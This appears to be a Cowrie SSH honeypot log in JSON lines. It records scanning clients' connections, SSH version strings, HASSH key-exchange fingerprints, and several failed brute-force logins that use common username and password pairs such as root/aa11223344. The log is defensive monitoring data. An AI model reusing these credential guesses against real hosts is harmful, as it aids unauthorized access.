{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:34.989104Z","src_ip":"103.199.16.90","session":"da909d58b5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":35116,"dst_ip":"10.17.0.5","dst_port":22,"session":"498d46db1e9b","protocol":"ssh","message":"New connection: 152.32.205.153:35116 (10.17.0.5:22) [session: 498d46db1e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:39.040931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:39.044874Z","src_ip":"152.32.205.153","session":"498d46db1e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:39.055395Z","src_ip":"152.32.205.153","session":"498d46db1e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin123","message":"login attempt [user/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:39.132715Z","src_ip":"152.32.205.153","session":"498d46db1e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:40.148505Z","src_ip":"152.32.205.153","session":"498d46db1e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:45.368778Z","src_ip":"8.210.75.243","session":"7c3bf25daebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":58638,"dst_ip":"10.17.0.5","dst_port":22,"session":"61811652e0b3","protocol":"ssh","message":"New connection: 196.196.150.5:58638 (10.17.0.5:22) [session: 61811652e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:47.196783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:47.200598Z","src_ip":"196.196.150.5","session":"61811652e0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:47.305407Z","src_ip":"196.196.150.5","session":"61811652e0b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin123","message":"login attempt [user/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:47.761655Z","src_ip":"196.196.150.5","session":"61811652e0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:48.869724Z","src_ip":"196.196.150.5","session":"61811652e0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":36206,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd129050982a","protocol":"ssh","message":"New connection: 211.106.137.135:36206 (10.17.0.5:22) [session: fd129050982a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:49.693147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:49.706578Z","src_ip":"211.106.137.135","session":"fd129050982a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:49.918058Z","src_ip":"211.106.137.135","session":"fd129050982a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":38100,"dst_ip":"159.203.135.109","dst_port":22,"session":"35938b82bb39","protocol":"ssh","message":"New connection: 68.207.224.247:38100 (159.203.135.109:22) [session: 35938b82bb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:50.070870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:50.075030Z","src_ip":"68.207.224.247","session":"35938b82bb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:50.118438Z","src_ip":"68.207.224.247","session":"35938b82bb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:50.315033Z","src_ip":"68.207.224.247","session":"35938b82bb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa11223344","message":"login attempt [root/aa11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:50.740853Z","src_ip":"211.106.137.135","session":"fd129050982a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:51.361956Z","src_ip":"68.207.224.247","session":"35938b82bb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:22:51.949089Z","src_ip":"211.106.137.135","session":"fd129050982a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:01.293633Z","src_ip":"8.210.75.243","session":"915be72bd7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:22.434019Z","src_ip":"8.210.75.243","session":"2fa5a7be4917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33726,"dst_ip":"10.17.0.5","dst_port":22,"session":"35304a40c557","protocol":"ssh","message":"New connection: 91.92.40.4:33726 (10.17.0.5:22) [session: 35304a40c557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:23.826327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:23.832867Z","src_ip":"91.92.40.4","session":"35304a40c557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.108286Z","src_ip":"91.92.40.4","session":"35304a40c557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60974,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fab88885d58","protocol":"ssh","message":"New connection: 8.210.75.243:60974 (10.17.0.5:22) [session: 7fab88885d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.393249Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"password123","message":"login attempt [git/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.416473Z","src_ip":"91.92.40.4","session":"35304a40c557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":56234,"dst_ip":"10.17.0.5","dst_port":22,"session":"c49a8f7b4b5f","protocol":"ssh","message":"New connection: 45.143.200.246:56234 (10.17.0.5:22) [session: c49a8f7b4b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.705764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.708721Z","src_ip":"45.143.200.246","session":"c49a8f7b4b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:24.809558Z","src_ip":"45.143.200.246","session":"c49a8f7b4b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xp123456","message":"login attempt [root/Xp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:25.251834Z","src_ip":"45.143.200.246","session":"c49a8f7b4b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:25.561311Z","src_ip":"91.92.40.4","session":"35304a40c557","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:25.718199Z","src_ip":"8.210.75.243","session":"7fab88885d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:26.355844Z","src_ip":"45.143.200.246","session":"c49a8f7b4b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":45906,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9b097fe4dc","protocol":"ssh","message":"New connection: 163.7.1.218:45906 (10.17.0.5:22) [session: cd9b097fe4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:27.148342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:27.151420Z","src_ip":"163.7.1.218","session":"cd9b097fe4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:27.408621Z","src_ip":"163.7.1.218","session":"cd9b097fe4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"d09cf8d9b785","protocol":"ssh","message":"New connection: 159.65.58.200:55486 (159.203.135.109:22) [session: d09cf8d9b785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:27.793510Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":48770,"dst_ip":"159.203.135.109","dst_port":22,"session":"60007db3027b","protocol":"ssh","message":"New connection: 103.97.101.25:48770 (159.203.135.109:22) [session: 60007db3027b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.085475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.088944Z","src_ip":"103.97.101.25","session":"60007db3027b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.237901Z","src_ip":"159.65.58.200","session":"d09cf8d9b785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.240610Z","src_ip":"159.65.58.200","session":"d09cf8d9b785","protocol":"ssh"}
